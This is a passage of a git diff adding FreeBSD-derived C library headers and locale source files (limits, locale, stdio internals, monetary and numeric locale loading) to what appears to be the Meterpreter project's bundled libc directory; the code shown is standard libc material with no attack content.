#define _POSIX_TRACE_SYS_MAX 8
|
||||
#define _POSIX_TRACE_USER_EVENT_MAX 32
|
||||
#define _POSIX_TTY_NAME_MAX 9
|
||||
#define _POSIX2_CHARCLASS_NAME_MAX 14
|
||||
#define _POSIX2_COLL_WEIGHTS_MAX 2
|
||||
|
||||
#define _POSIX_RE_DUP_MAX _POSIX2_RE_DUP_MAX
|
||||
#endif
|
||||
|
||||
#if __XSI_VISIBLE
|
||||
#define _XOPEN_IOV_MAX 16
|
||||
#define _XOPEN_NAME_MAX 255
|
||||
#define _XOPEN_PATH_MAX 1024
|
||||
#define PASS_MAX 128 /* _PASSWORD_LEN from <pwd.h> */
|
||||
|
||||
#define NL_ARGMAX 99 /* max # of position args for printf */
|
||||
#define NL_LANGMAX 31 /* max LANG name length */
|
||||
#define NL_MSGMAX 32767
|
||||
#define NL_NMAX 1
|
||||
#define NL_SETMAX 255
|
||||
#define NL_TEXTMAX 2048
|
||||
#endif
|
||||
|
||||
#define MB_LEN_MAX 6 /* 31-bit UTF-8 */
|
||||
|
||||
#include <sys/limits.h>
|
||||
|
||||
#if __POSIX_VISIBLE
|
||||
#include <sys/syslimits.h>
|
||||
#endif
|
||||
|
||||
#endif /* !_LIMITS_H_ */
|
33
c/meterpreter/source/ulibc/link.h
Normal file
33
c/meterpreter/source/ulibc/link.h
Normal file
@ -0,0 +1,33 @@
|
||||
/*
|
||||
* Copyright (c) 1993 Paul Kranenburg
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by Paul Kranenburg.
|
||||
* 4. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/include/link.h 103436 2002-09-17 01:49:00Z peter $
|
||||
*/
|
||||
|
||||
#include <sys/link_elf.h>
|
14
c/meterpreter/source/ulibc/linkage.h
Normal file
14
c/meterpreter/source/ulibc/linkage.h
Normal file
@ -0,0 +1,14 @@
|
||||
#ifndef _METERPRETER_LIB_LINKAGE_H
|
||||
#define _METERPRETER_LIB_LINKAGE_H
|
||||
|
||||
#ifdef USE_DLL
|
||||
#ifdef METERPRETER_EXPORTS
|
||||
#define LINKAGE __declspec(dllexport)
|
||||
#else
|
||||
#define LINKAGE __declspec(dllimport)
|
||||
#endif
|
||||
#else
|
||||
#define LINKAGE
|
||||
#endif
|
||||
|
||||
#endif
|
59
c/meterpreter/source/ulibc/lmonetary.h
Normal file
59
c/meterpreter/source/ulibc/lmonetary.h
Normal file
@ -0,0 +1,59 @@
|
||||
/*-
|
||||
* Copyright (c) 2000, 2001 Alexey Zelkin <phantom@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/lmonetary.h 104711 2002-10-09 09:19:28Z tjr $
|
||||
*/
|
||||
|
||||
#ifndef _LMONETARY_H_
|
||||
#define _LMONETARY_H_
|
||||
|
||||
struct lc_monetary_T {
|
||||
const char *int_curr_symbol;
|
||||
const char *currency_symbol;
|
||||
const char *mon_decimal_point;
|
||||
const char *mon_thousands_sep;
|
||||
const char *mon_grouping;
|
||||
const char *positive_sign;
|
||||
const char *negative_sign;
|
||||
const char *int_frac_digits;
|
||||
const char *frac_digits;
|
||||
const char *p_cs_precedes;
|
||||
const char *p_sep_by_space;
|
||||
const char *n_cs_precedes;
|
||||
const char *n_sep_by_space;
|
||||
const char *p_sign_posn;
|
||||
const char *n_sign_posn;
|
||||
const char *int_p_cs_precedes;
|
||||
const char *int_n_cs_precedes;
|
||||
const char *int_p_sep_by_space;
|
||||
const char *int_n_sep_by_space;
|
||||
const char *int_p_sign_posn;
|
||||
const char *int_n_sign_posn;
|
||||
};
|
||||
|
||||
struct lc_monetary_T *__get_current_monetary_locale(void);
|
||||
int __monetary_load_locale(const char *);
|
||||
|
||||
#endif /* !_LMONETARY_H_ */
|
41
c/meterpreter/source/ulibc/lnumeric.h
Normal file
41
c/meterpreter/source/ulibc/lnumeric.h
Normal file
@ -0,0 +1,41 @@
|
||||
/*-
|
||||
* Copyright (c) 2000, 2001 Alexey Zelkin <phantom@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/lnumeric.h 88309 2001-12-20 18:28:52Z phantom $
|
||||
*/
|
||||
|
||||
#ifndef _LNUMERIC_H_
|
||||
#define _LNUMERIC_H_
|
||||
|
||||
struct lc_numeric_T {
|
||||
const char *decimal_point;
|
||||
const char *thousands_sep;
|
||||
const char *grouping;
|
||||
};
|
||||
|
||||
struct lc_numeric_T *__get_current_numeric_locale(void);
|
||||
int __numeric_load_locale(const char *);
|
||||
|
||||
#endif /* !_LNUMERIC_H_ */
|
138
c/meterpreter/source/ulibc/local.h
Normal file
138
c/meterpreter/source/ulibc/local.h
Normal file
@ -0,0 +1,138 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)local.h 8.3 (Berkeley) 7/3/94
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/local.h 165903 2007-01-09 00:28:16Z imp $
|
||||
*/
|
||||
|
||||
#include <sys/types.h> /* for off_t */
|
||||
#include <pthread.h>
|
||||
#include <string.h>
|
||||
#include <wchar.h>
|
||||
|
||||
/*
|
||||
* Information local to this implementation of stdio,
|
||||
* in particular, macros and private variables.
|
||||
*/
|
||||
|
||||
extern int _sread(FILE *, char *, int);
|
||||
extern int _swrite(FILE *, char const *, int);
|
||||
extern fpos_t _sseek(FILE *, fpos_t, int);
|
||||
extern int _ftello(FILE *, fpos_t *);
|
||||
extern int _fseeko(FILE *, off_t, int, int);
|
||||
extern int __fflush(FILE *fp);
|
||||
extern void __fcloseall(void);
|
||||
extern wint_t __fgetwc(FILE *);
|
||||
extern wint_t __fputwc(wchar_t, FILE *);
|
||||
extern int __sflush(FILE *);
|
||||
extern FILE *__sfp(void);
|
||||
extern int __slbexpand(FILE *, size_t);
|
||||
extern int __srefill(FILE *);
|
||||
extern int __sread(void *, char *, int);
|
||||
extern int __swrite(void *, char const *, int);
|
||||
extern fpos_t __sseek(void *, fpos_t, int);
|
||||
extern int __sclose(void *);
|
||||
extern void __sinit(void);
|
||||
extern void _cleanup(void);
|
||||
extern void __smakebuf(FILE *);
|
||||
extern int __swhatbuf(FILE *, size_t *, int *);
|
||||
extern int _fwalk(int (*)(FILE *));
|
||||
extern int __svfscanf(FILE *, const char *, __va_list);
|
||||
extern int __swsetup(FILE *);
|
||||
extern int __sflags(const char *, int *);
|
||||
extern int __ungetc(int, FILE *);
|
||||
extern wint_t __ungetwc(wint_t, FILE *);
|
||||
extern int __vfprintf(FILE *, const char *, __va_list);
|
||||
extern int __vfscanf(FILE *, const char *, __va_list);
|
||||
extern int __vfwprintf(FILE *, const wchar_t *, __va_list);
|
||||
extern int __vfwscanf(FILE * __restrict, const wchar_t * __restrict,
|
||||
__va_list);
|
||||
extern size_t __fread(void * __restrict buf, size_t size, size_t count,
|
||||
FILE * __restrict fp);
|
||||
extern int __sdidinit;
|
||||
|
||||
|
||||
/* hold a buncha junk that would grow the ABI */
|
||||
struct __sFILEX {
|
||||
unsigned char *_up; /* saved _p when _p is doing ungetc data */
|
||||
pthread_mutex_t fl_mutex; /* used for MT-safety */
|
||||
pthread_t fl_owner; /* current owner */
|
||||
int fl_count; /* recursive lock count */
|
||||
int orientation; /* orientation for fwide() */
|
||||
mbstate_t mbstate; /* multibyte conversion state */
|
||||
};
|
||||
|
||||
/*
|
||||
* Prepare the given FILE for writing, and return 0 iff it
|
||||
* can be written now. Otherwise, return EOF and set errno.
|
||||
*/
|
||||
#define prepwrite(fp) \
|
||||
((((fp)->_flags & __SWR) == 0 || \
|
||||
((fp)->_bf._base == NULL && ((fp)->_flags & __SSTR) == 0)) && \
|
||||
__swsetup(fp))
|
||||
|
||||
/*
|
||||
* Test whether the given stdio file has an active ungetc buffer;
|
||||
* release such a buffer, without restoring ordinary unread data.
|
||||
*/
|
||||
#define HASUB(fp) ((fp)->_ub._base != NULL)
|
||||
#define FREEUB(fp) { \
|
||||
if ((fp)->_ub._base != (fp)->_ubuf) \
|
||||
free((char *)(fp)->_ub._base); \
|
||||
(fp)->_ub._base = NULL; \
|
||||
}
|
||||
|
||||
/*
|
||||
* test for an fgetln() buffer.
|
||||
*/
|
||||
#define HASLB(fp) ((fp)->_lb._base != NULL)
|
||||
#define FREELB(fp) { \
|
||||
free((char *)(fp)->_lb._base); \
|
||||
(fp)->_lb._base = NULL; \
|
||||
}
|
||||
|
||||
#define INITEXTRA(fp) { \
|
||||
(fp)->_extra->_up = NULL; \
|
||||
(fp)->_extra->fl_mutex = PTHREAD_MUTEX_INITIALIZER; \
|
||||
(fp)->_extra->fl_owner = NULL; \
|
||||
(fp)->_extra->fl_count = 0; \
|
||||
(fp)->_extra->orientation = 0; \
|
||||
memset(&(fp)->_extra->mbstate, 0, sizeof(mbstate_t)); \
|
||||
}
|
||||
|
||||
/*
|
||||
* Set the orientation for a stream. If o > 0, the stream has wide-
|
||||
* orientation. If o < 0, the stream has byte-orientation.
|
||||
*/
|
||||
#define ORIENT(fp, o) do { \
|
||||
if ((fp)->_extra->orientation == 0) \
|
||||
(fp)->_extra->orientation = (o); \
|
||||
} while (0)
|
86
c/meterpreter/source/ulibc/locale.h
Normal file
86
c/meterpreter/source/ulibc/locale.h
Normal file
@ -0,0 +1,86 @@
|
||||
/*
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)locale.h 8.1 (Berkeley) 6/2/93
|
||||
* $FreeBSD: head/include/locale.h 123257 2003-12-07 21:10:06Z marcel $
|
||||
*/
|
||||
|
||||
#ifndef _LOCALE_H_
|
||||
#define _LOCALE_H_
|
||||
|
||||
#include <sys/_null.h>
|
||||
|
||||
struct lconv {
|
||||
char *decimal_point;
|
||||
char *thousands_sep;
|
||||
char *grouping;
|
||||
char *int_curr_symbol;
|
||||
char *currency_symbol;
|
||||
char *mon_decimal_point;
|
||||
char *mon_thousands_sep;
|
||||
char *mon_grouping;
|
||||
char *positive_sign;
|
||||
char *negative_sign;
|
||||
char int_frac_digits;
|
||||
char frac_digits;
|
||||
char p_cs_precedes;
|
||||
char p_sep_by_space;
|
||||
char n_cs_precedes;
|
||||
char n_sep_by_space;
|
||||
char p_sign_posn;
|
||||
char n_sign_posn;
|
||||
char int_p_cs_precedes;
|
||||
char int_n_cs_precedes;
|
||||
char int_p_sep_by_space;
|
||||
char int_n_sep_by_space;
|
||||
char int_p_sign_posn;
|
||||
char int_n_sign_posn;
|
||||
};
|
||||
|
||||
#define LC_ALL 0
|
||||
#define LC_COLLATE 1
|
||||
#define LC_CTYPE 2
|
||||
#define LC_MONETARY 3
|
||||
#define LC_NUMERIC 4
|
||||
#define LC_TIME 5
|
||||
#define LC_MESSAGES 6
|
||||
|
||||
#define _LC_LAST 7 /* marks end */
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
struct lconv *localeconv(void);
|
||||
char *setlocale(int, const char *);
|
||||
__END_DECLS
|
||||
|
||||
#endif /* _LOCALE_H_ */
|
192
c/meterpreter/source/ulibc/locale/lmonetary.c
Normal file
192
c/meterpreter/source/ulibc/locale/lmonetary.c
Normal file
@ -0,0 +1,192 @@
|
||||
/*
|
||||
* Copyright (c) 2000, 2001 Alexey Zelkin <phantom@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/locale/lmonetary.c 116875 2003-06-26 10:46:16Z phantom $");
|
||||
|
||||
#include <limits.h>
|
||||
#include <stddef.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "ldpart.h"
|
||||
#include "lmonetary.h"
|
||||
|
||||
extern int __mlocale_changed;
|
||||
extern const char * __fix_locale_grouping_str(const char *);
|
||||
|
||||
#define LCMONETARY_SIZE_FULL (sizeof(struct lc_monetary_T) / sizeof(char *))
|
||||
#define LCMONETARY_SIZE_MIN \
|
||||
(offsetof(struct lc_monetary_T, int_p_cs_precedes) / \
|
||||
sizeof(char *))
|
||||
|
||||
static char empty[] = "";
|
||||
static char numempty[] = { CHAR_MAX, '\0'};
|
||||
|
||||
static const struct lc_monetary_T _C_monetary_locale = {
|
||||
empty, /* int_curr_symbol */
|
||||
empty, /* currency_symbol */
|
||||
empty, /* mon_decimal_point */
|
||||
empty, /* mon_thousands_sep */
|
||||
numempty, /* mon_grouping */
|
||||
empty, /* positive_sign */
|
||||
empty, /* negative_sign */
|
||||
numempty, /* int_frac_digits */
|
||||
numempty, /* frac_digits */
|
||||
numempty, /* p_cs_precedes */
|
||||
numempty, /* p_sep_by_space */
|
||||
numempty, /* n_cs_precedes */
|
||||
numempty, /* n_sep_by_space */
|
||||
numempty, /* p_sign_posn */
|
||||
numempty, /* n_sign_posn */
|
||||
numempty, /* int_p_cs_precedes */
|
||||
numempty, /* int_n_cs_precedes */
|
||||
numempty, /* int_p_sep_by_space */
|
||||
numempty, /* int_n_sep_by_space */
|
||||
numempty, /* int_p_sign_posn */
|
||||
numempty /* int_n_sign_posn */
|
||||
};
|
||||
|
||||
static struct lc_monetary_T _monetary_locale;
|
||||
static int _monetary_using_locale;
|
||||
static char *_monetary_locale_buf;
|
||||
|
||||
static char
|
||||
cnv(const char *str)
|
||||
{
|
||||
int i = strtol(str, NULL, 10);
|
||||
|
||||
if (i == -1)
|
||||
i = CHAR_MAX;
|
||||
return ((char)i);
|
||||
}
|
||||
|
||||
int
|
||||
__monetary_load_locale(const char *name)
|
||||
{
|
||||
int ret;
|
||||
|
||||
ret = __part_load_locale(name, &_monetary_using_locale,
|
||||
&_monetary_locale_buf, "LC_MONETARY",
|
||||
LCMONETARY_SIZE_FULL, LCMONETARY_SIZE_MIN,
|
||||
(const char **)&_monetary_locale);
|
||||
if (ret != _LDP_ERROR)
|
||||
__mlocale_changed = 1;
|
||||
if (ret == _LDP_LOADED) {
|
||||
_monetary_locale.mon_grouping =
|
||||
__fix_locale_grouping_str(_monetary_locale.mon_grouping);
|
||||
|
||||
#define M_ASSIGN_CHAR(NAME) (((char *)_monetary_locale.NAME)[0] = \
|
||||
cnv(_monetary_locale.NAME))
|
||||
|
||||
M_ASSIGN_CHAR(int_frac_digits);
|
||||
M_ASSIGN_CHAR(frac_digits);
|
||||
M_ASSIGN_CHAR(p_cs_precedes);
|
||||
M_ASSIGN_CHAR(p_sep_by_space);
|
||||
M_ASSIGN_CHAR(n_cs_precedes);
|
||||
M_ASSIGN_CHAR(n_sep_by_space);
|
||||
M_ASSIGN_CHAR(p_sign_posn);
|
||||
M_ASSIGN_CHAR(n_sign_posn);
|
||||
|
||||
/*
|
||||
* The six additional C99 international monetary formatting
|
||||
* parameters default to the national parameters when
|
||||
* reading FreeBSD LC_MONETARY data files.
|
||||
*/
|
||||
#define M_ASSIGN_ICHAR(NAME) \
|
||||
do { \
|
||||
if (_monetary_locale.int_##NAME == NULL) \
|
||||
_monetary_locale.int_##NAME = \
|
||||
_monetary_locale.NAME; \
|
||||
else \
|
||||
M_ASSIGN_CHAR(int_##NAME); \
|
||||
} while (0)
|
||||
|
||||
M_ASSIGN_ICHAR(p_cs_precedes);
|
||||
M_ASSIGN_ICHAR(n_cs_precedes);
|
||||
M_ASSIGN_ICHAR(p_sep_by_space);
|
||||
M_ASSIGN_ICHAR(n_sep_by_space);
|
||||
M_ASSIGN_ICHAR(p_sign_posn);
|
||||
M_ASSIGN_ICHAR(n_sign_posn);
|
||||
}
|
||||
return (ret);
|
||||
}
|
||||
|
||||
struct lc_monetary_T *
|
||||
__get_current_monetary_locale(void)
|
||||
{
|
||||
return (_monetary_using_locale
|
||||
? &_monetary_locale
|
||||
: (struct lc_monetary_T *)&_C_monetary_locale);
|
||||
}
|
||||
|
||||
#ifdef LOCALE_DEBUG
|
||||
void
|
||||
monetdebug() {
|
||||
printf( "int_curr_symbol = %s\n"
|
||||
"currency_symbol = %s\n"
|
||||
"mon_decimal_point = %s\n"
|
||||
"mon_thousands_sep = %s\n"
|
||||
"mon_grouping = %s\n"
|
||||
"positive_sign = %s\n"
|
||||
"negative_sign = %s\n"
|
||||
"int_frac_digits = %d\n"
|
||||
"frac_digits = %d\n"
|
||||
"p_cs_precedes = %d\n"
|
||||
"p_sep_by_space = %d\n"
|
||||
"n_cs_precedes = %d\n"
|
||||
"n_sep_by_space = %d\n"
|
||||
"p_sign_posn = %d\n"
|
||||
"n_sign_posn = %d\n",
|
||||
"int_p_cs_precedes = %d\n"
|
||||
"int_p_sep_by_space = %d\n"
|
||||
"int_n_cs_precedes = %d\n"
|
||||
"int_n_sep_by_space = %d\n"
|
||||
"int_p_sign_posn = %d\n"
|
||||
"int_n_sign_posn = %d\n",
|
||||
_monetary_locale.int_curr_symbol,
|
||||
_monetary_locale.currency_symbol,
|
||||
_monetary_locale.mon_decimal_point,
|
||||
_monetary_locale.mon_thousands_sep,
|
||||
_monetary_locale.mon_grouping,
|
||||
_monetary_locale.positive_sign,
|
||||
_monetary_locale.negative_sign,
|
||||
_monetary_locale.int_frac_digits[0],
|
||||
_monetary_locale.frac_digits[0],
|
||||
_monetary_locale.p_cs_precedes[0],
|
||||
_monetary_locale.p_sep_by_space[0],
|
||||
_monetary_locale.n_cs_precedes[0],
|
||||
_monetary_locale.n_sep_by_space[0],
|
||||
_monetary_locale.p_sign_posn[0],
|
||||
_monetary_locale.n_sign_posn[0],
|
||||
_monetary_locale.int_p_cs_precedes[0],
|
||||
_monetary_locale.int_p_sep_by_space[0],
|
||||
_monetary_locale.int_n_cs_precedes[0],
|
||||
_monetary_locale.int_n_sep_by_space[0],
|
||||
_monetary_locale.int_p_sign_posn[0],
|
||||
_monetary_locale.int_n_sign_posn[0]
|
||||
);
|
||||
}
|
||||
#endif /* LOCALE_DEBUG */
|
93
c/meterpreter/source/ulibc/locale/lnumeric.c
Normal file
93
c/meterpreter/source/ulibc/locale/lnumeric.c
Normal file
@ -0,0 +1,93 @@
|
||||
/*
|
||||
* Copyright (c) 2000, 2001 Alexey Zelkin <phantom@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
